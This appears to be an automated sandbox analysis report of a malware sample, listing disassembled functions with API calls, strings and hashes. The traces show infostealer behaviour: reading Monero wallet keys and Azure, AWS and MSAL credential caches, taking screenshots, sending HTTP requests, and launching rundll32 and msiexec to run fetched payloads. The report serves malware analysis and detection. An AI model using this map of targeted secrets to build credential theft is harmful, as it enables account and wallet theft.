Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

InternetCloseHandle.WININET(00000000), ref: 005C5FC7

Strings

------, xrefs: 005C5D4C
", xrefs: 005C5E16
", xrefs: 005C5CD5
------, xrefs: 005C5A96
------, xrefs: 005C5C0B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: e71ca3db38200937afafaad1c96a13816c77b155f2c2349b5e4be998c875916c
Instruction ID: 1e9eaa4dfef408164e72faf733744ab988606440bf2b0861190d2187a2f8c594
Opcode Fuzzy Hash: e71ca3db38200937afafaad1c96a13816c77b155f2c2349b5e4be998c875916c
Instruction Fuzzy Hash: 1A124272820119ABCB28EBA4DC99FEF7738BF54700F40419BF50662191EF702A89CF55

Function 005CCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D8B60: GetSystemTime.KERNEL32(005E0E1A,014AFBA0,005E05AE,?,?,005C13F9,?,0000001A,005E0E1A,00000000,?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005D8B86

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005CCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005CD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 005CD0CE
lstrcat.KERNEL32(?,00000000), ref: 005CD208
lstrcat.KERNEL32(?,005E1478), ref: 005CD217
lstrcat.KERNEL32(?,00000000), ref: 005CD22A
lstrcat.KERNEL32(?,005E147C), ref: 005CD239
lstrcat.KERNEL32(?,00000000), ref: 005CD24C
lstrcat.KERNEL32(?,005E1480), ref: 005CD25B
lstrcat.KERNEL32(?,00000000), ref: 005CD26E
lstrcat.KERNEL32(?,005E1484), ref: 005CD27D
lstrcat.KERNEL32(?,00000000), ref: 005CD290
lstrcat.KERNEL32(?,005E1488), ref: 005CD29F
lstrcat.KERNEL32(?,00000000), ref: 005CD2B2
lstrcat.KERNEL32(?,005E148C), ref: 005CD2C1
lstrcat.KERNEL32(?,00000000), ref: 005CD2D4
lstrcat.KERNEL32(?,005E1490), ref: 005CD2E3

Part of subcall function 005DA820: lstrlen.KERNEL32(005C4F05,?,?,005C4F05,005E0DDE), ref: 005DA82B
Part of subcall function 005DA820: lstrcpy.KERNEL32(005E0DDE,00000000), ref: 005DA885

lstrlen.KERNEL32(?), ref: 005CD32A
lstrlen.KERNEL32(?), ref: 005CD339

Part of subcall function 005DAA70: StrCmpCA.SHLWAPI(014A8BC8,005CA7A7,?,005CA7A7,014A8BC8), ref: 005DAA8F

DeleteFileA.KERNEL32(00000000), ref: 005CD3B4

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 40bcaccdda318fa95a42673c73152cf4ff6ee2e704d1b8f4d407f80909f02d58
Instruction ID: 1b9b8a1663c1012c482807c4d0e2e7ab55f37304c36528ac096019fc502f9f8e
Opcode Fuzzy Hash: 40bcaccdda318fa95a42673c73152cf4ff6ee2e704d1b8f4d407f80909f02d58
Instruction Fuzzy Hash: 0DE17371910109ABCB18EBA4DD9AEEF7B38BF54300F00415AF507B3291EE35AE45DB66

Function 005CC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,014AEFB0,00000000,?,005E144C,00000000,?,?), ref: 005CCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005CCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 005CCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005CCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005CCAD9
StrStrA.SHLWAPI(?,014AEF08,005E0B52), ref: 005CCAF7
StrStrA.SHLWAPI(00000000,014AEED8), ref: 005CCB1E
StrStrA.SHLWAPI(?,014AF408,00000000,?,005E1458,00000000,?,00000000,00000000,?,014A8C58,00000000,?,005E1454,00000000,?), ref: 005CCCA2
StrStrA.SHLWAPI(00000000,014AF5A8), ref: 005CCCB9

Part of subcall function 005CC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005CC871
Part of subcall function 005CC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005CC87C

StrStrA.SHLWAPI(?,014AF5A8,00000000,?,005E145C,00000000,?,00000000,014A8AA8), ref: 005CCD5A
StrStrA.SHLWAPI(00000000,014A89D8), ref: 005CCD71

Part of subcall function 005CC820: lstrcat.KERNEL32(?,005E0B46), ref: 005CC943
Part of subcall function 005CC820: lstrcat.KERNEL32(?,005E0B47), ref: 005CC957
Part of subcall function 005CC820: lstrcat.KERNEL32(?,005E0B4E), ref: 005CC978

lstrlen.KERNEL32(00000000), ref: 005CCE44
CloseHandle.KERNEL32(00000000), ref: 005CCE9C

Strings

, xrefs: 005CC9C6

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: f6ba9961e6a87f758b48420bb7b1d20f0a28ad40c79600df3a175b90eaa14edd
Instruction ID: a86a547c0a97ba502d1c216397e9ac2e6df3f422c485abcc4cd9b164b3d81fce
Opcode Fuzzy Hash: f6ba9961e6a87f758b48420bb7b1d20f0a28ad40c79600df3a175b90eaa14edd
Instruction Fuzzy Hash: 78E11372900149ABDB28EBA8DC95FEF7B78BF54300F40415BF50667291EF306A4ACB65

Function 005D8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

RegOpenKeyExA.ADVAPI32(00000000,014ABBD0,00000000,00020019,00000000,005E05B6), ref: 005D83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005D8426
wsprintfA.USER32 ref: 005D8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 005D847B
RegCloseKey.ADVAPI32(00000000), ref: 005D848C
RegCloseKey.ADVAPI32(00000000), ref: 005D8499

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Strings

%s\%s, xrefs: 005D844D
- , xrefs: 005D85A3
?, xrefs: 005D837A

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 63ae54b339333af73de01441abe952be700389a81b1bdbad9b58a45f020dbddf
Instruction ID: 1223d434f4591c0e4a23b85a7f966247ffe641b06005ff94273f845df85e30f8
Opcode Fuzzy Hash: 63ae54b339333af73de01441abe952be700389a81b1bdbad9b58a45f020dbddf
Instruction Fuzzy Hash: 968110719102189BDB68DB54CC95FEA7BB8FF48700F0086DAE509A6280DF71AF85CF95

Function 005D4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005D8E0B

lstrcat.KERNEL32(?,00000000), ref: 005D4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 005D4DCD

Part of subcall function 005D4910: wsprintfA.USER32 ref: 005D492C
Part of subcall function 005D4910: FindFirstFileA.KERNEL32(?,?), ref: 005D4943

lstrcat.KERNEL32(?,00000000), ref: 005D4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 005D4E59

Part of subcall function 005D4910: StrCmpCA.SHLWAPI(?,005E0FDC), ref: 005D4971
Part of subcall function 005D4910: StrCmpCA.SHLWAPI(?,005E0FE0), ref: 005D4987
Part of subcall function 005D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005D4B7D
Part of subcall function 005D4910: FindClose.KERNEL32(000000FF), ref: 005D4B92

lstrcat.KERNEL32(?,00000000), ref: 005D4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 005D4EE5

Part of subcall function 005D4910: wsprintfA.USER32 ref: 005D49B0
Part of subcall function 005D4910: StrCmpCA.SHLWAPI(?,005E08D2), ref: 005D49C5
Part of subcall function 005D4910: wsprintfA.USER32 ref: 005D49E2
Part of subcall function 005D4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005D4A1E
Part of subcall function 005D4910: lstrcat.KERNEL32(?,014B0D70), ref: 005D4A4A
Part of subcall function 005D4910: lstrcat.KERNEL32(?,005E0FF8), ref: 005D4A5C
Part of subcall function 005D4910: lstrcat.KERNEL32(?,?), ref: 005D4A70
Part of subcall function 005D4910: lstrcat.KERNEL32(?,005E0FFC), ref: 005D4A82
Part of subcall function 005D4910: lstrcat.KERNEL32(?,?), ref: 005D4A96
Part of subcall function 005D4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005D4AAC
Part of subcall function 005D4910: DeleteFileA.KERNEL32(?), ref: 005D4B31

Strings

Azure\.aws, xrefs: 005D4E5F
\.aws\, xrefs: 005D4E4D
Azure\.IdentityService, xrefs: 005D4EEB
msal.cache, xrefs: 005D4EF0
\.azure\, xrefs: 005D4DC1
*.*, xrefs: 005D4DD8
*.*, xrefs: 005D4E64
Azure\.azure, xrefs: 005D4DD3
\.IdentityService\, xrefs: 005D4ED9

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 1da96b20ffa33b32e95394bf9e1581681fed16f99eb9f5a4421e65ca7f43315f
Instruction ID: 314da0f1f71ee86508b60853d859b7a0ebc2b16fe1907282aa0d4c2e1ab529f2
Opcode Fuzzy Hash: 1da96b20ffa33b32e95394bf9e1581681fed16f99eb9f5a4421e65ca7f43315f
Instruction Fuzzy Hash: 92419579A4024867CB64F760EC5BFEE3B38BB64700F404495B585661C2FEB197C98B92

Function 005D9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 005D906C

Strings

image/jpeg, xrefs: 005D9136

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: bfdcde7aed69b3ca511aebb63c101360c0ccaaf86de209a1453f9e1c96723578
Instruction ID: 7fc125d8475648eeb4df944e984dee53475b1c1fe8d3aefd5b246f24b353ec94
Opcode Fuzzy Hash: bfdcde7aed69b3ca511aebb63c101360c0ccaaf86de209a1453f9e1c96723578
Instruction Fuzzy Hash: F271FD75A10209AFDB58DFE4DC89FEEBBB9BF48300F108519F515A7290DB34A905CB61

Function 005D2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

ShellExecuteEx.SHELL32(0000003C), ref: 005D31C5
ShellExecuteEx.SHELL32(0000003C), ref: 005D335D
ShellExecuteEx.SHELL32(0000003C), ref: 005D34EA

Strings

/i ", xrefs: 005D33E4
/passive, xrefs: 005D345B
.dll, xrefs: 005D31E5
.msi, xrefs: 005D3398
"" , xrefs: 005D309A
C:\Windows\system32\rundll32.exe, xrefs: 005D3332
C:\Windows\system32\msiexec.exe, xrefs: 005D34BF
<, xrefs: 005D3490

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: e56eaff225ddf036b60bc95468bdfefd6c8e9a97b4f5ba2517036905f897d5c2
Instruction ID: a1a86c104af4d4e65c63ca33c66e2431f4bcedba01a3b18d24c29cb43d77bdb8
Opcode Fuzzy Hash: e56eaff225ddf036b60bc95468bdfefd6c8e9a97b4f5ba2517036905f897d5c2
Instruction Fuzzy Hash: 2E1221718001499ADB29FBA4DC96FEEBB38BF54300F50415BF50666291EF702B8ACF56

Function 005D52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C6280: InternetOpenA.WININET(005E0DFE,00000001,00000000,00000000,00000000), ref: 005C62E1
Part of subcall function 005C6280: StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C6303
Part of subcall function 005C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005C6335
Part of subcall function 005C6280: HttpOpenRequestA.WININET(00000000,GET,?,014B0588,00000000,00000000,00400100,00000000), ref: 005C6385
Part of subcall function 005C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005C63BF
Part of subcall function 005C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005C63D1

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 005D5318
lstrlen.KERNEL32(00000000), ref: 005D532F

Part of subcall function 005D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005D8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 005D5364
lstrlen.KERNEL32(00000000), ref: 005D5383
lstrlen.KERNEL32(00000000), ref: 005D53AE

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Strings

ERROR, xrefs: 005D54A9
ERROR, xrefs: 005D5432
ERROR, xrefs: 005D53B9
ERROR, xrefs: 005D530A
ERROR, xrefs: 005D546F

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 96c36ae01d0efaeae5a1fe293ce8141e862bc628661de0458040006178366cea
Instruction ID: b1c079da475611d66b9bd1d0a068fcadb480168c7b0de69f6ccacfe662958ebf
Opcode Fuzzy Hash: 96c36ae01d0efaeae5a1fe293ce8141e862bc628661de0458040006178366cea
Instruction Fuzzy Hash: BC51F13091014A9BCB28FF68DD9AEEE7B79BF90300F50401BF80656692EF346B45DB56

Function 005D12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
